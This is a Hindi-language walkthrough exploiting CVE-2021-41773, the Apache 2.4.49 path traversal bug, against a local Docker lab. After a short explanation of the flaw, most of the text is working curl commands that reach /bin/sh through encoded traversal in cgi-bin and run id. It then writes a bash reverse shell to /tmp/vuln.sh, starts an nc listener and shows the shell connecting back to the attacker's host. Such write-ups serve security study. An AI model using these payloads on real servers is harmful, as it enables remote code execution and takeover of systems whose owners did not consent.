
CVE-2021-41773 पहचानकर्ता वाली पहली कमजोरी Apache HTTP Server 2.4.49 में मौजूद एक path traversal दोष है।
Apache HTTP Server 2.4.49 में पाथ नॉर्मलाइज़ेशन में किए गए बदलाव में एक दोष पाया गया। कोई हमलावर पाथ ट्रैवर्सल हमले का उपयोग करके URL को Alias-जैसे निर्देशों द्वारा कॉन्फ़िगर की गई निर्देशिकाओं के बाहर की फ़ाइलों से मैप कर सकता है।
यदि इन निर्देशिकाओं के बाहर की फ़ाइलें सामान्य डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन aliased पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं, तो यह दूरस्थ कोड निष्पादन की अनुमति दे सकता है।
यह समस्या वास्तविक दुनिया में शोषण किए जाने के लिए जानी जाती है।
यह समस्या केवल Apache 2.4.49 को प्रभावित करती है, पहले के संस्करणों को नहीं।
पाथ ट्रैवर्सल हमला (जिसे डायरेक्टरी ट्रैवर्सल भी कहा जाता है) वेब रूट फ़ोल्डर के बाहर संग्रहीत फ़ाइलों और निर्देशिकाओं तक पहुँचने का लक्ष्य रखता है। “डॉट-डॉट-स्लैश (../)” अनुक्रमों और उनके रूपांतरों के साथ फ़ाइलों को संदर्भित करने वाले चरों में हेरफेर करके या निरपेक्ष फ़ाइल पथों का उपयोग करके, फ़ाइल सिस्टम पर संग्रहीत मनमानी फ़ाइलों और निर्देशिकाओं तक पहुँच संभव हो सकती है, जिसमें एप्लिकेशन स्रोत कोड या कॉन्फ़िगरेशन और महत्वपूर्ण सिस्टम फ़ाइलें शामिल हैं। यह ध्यान दिया जाना चाहिए कि फ़ाइलों तक पहुँच सिस्टम परिचालन अभिगम नियंत्रण द्वारा सीमित है (जैसे कि Microsoft Windows ऑपरेटिंग सिस्टम पर लॉक या उपयोग में मौजूद फ़ाइलों के मामले में)।
यह हमला “dot-dot-slash”, “directory traversal”, “directory climbing” और “backtracking” के नाम से भी जाना जाता है।
$ docker-compose build
$ docker-compose up
पुष्टि करें कि यह काम करता है
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
पीड़ित : localhost:1234
हमलावर : 192.168.1.12
दस्तावेज़ के अनुसार, यह एक दोष है जो हमें दूरस्थ रूप से कोड निष्पादित करने (RCE) की अनुमति देता है।
हम cgi-bin फ़ोल्डर के साथ curl चलाकर इसका शोषण कर सकते हैं।
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
आइए देखें कि क्या हमारे पास वास्तव में कमांड तक पहुँच है, जैसे id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. रिवर्स शेल
हम पीड़ित के सर्वर पर एक bash फ़ाइल बनाकर रिवर्स शेल का परीक्षण करेंगे।
उदाहरण के तौर पर, PayloadsAllTheThings रिपॉजिटरी में मौजूद bash रिवर्स शेल को लेते हैं।
यहाँ एक उदाहरण है :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
आइए पीड़ित की मशीन पर /tmp/ फ़ोल्डर में vuln.sh फ़ाइल बनाएँ!
इस फ़ाइल में हमारा रिवर्स शेल होगा जिसे हम दूरस्थ रूप से चला सकते हैं। यह पोर्ट 44 पर हमारी स्थानीय मशीन से कनेक्ट होगा।
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
आप cat कमांड से फ़ाइल की सामग्री देख सकते हैं
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat के साथ लिसनर
आइए स्थानीय मशीन पर लिसनर बनाएँ।
$ nc -lvnp 44
अब केवल दूरस्थ फ़ाइल को निष्पादित करना शेष है।
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
प्रतिक्रिया :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.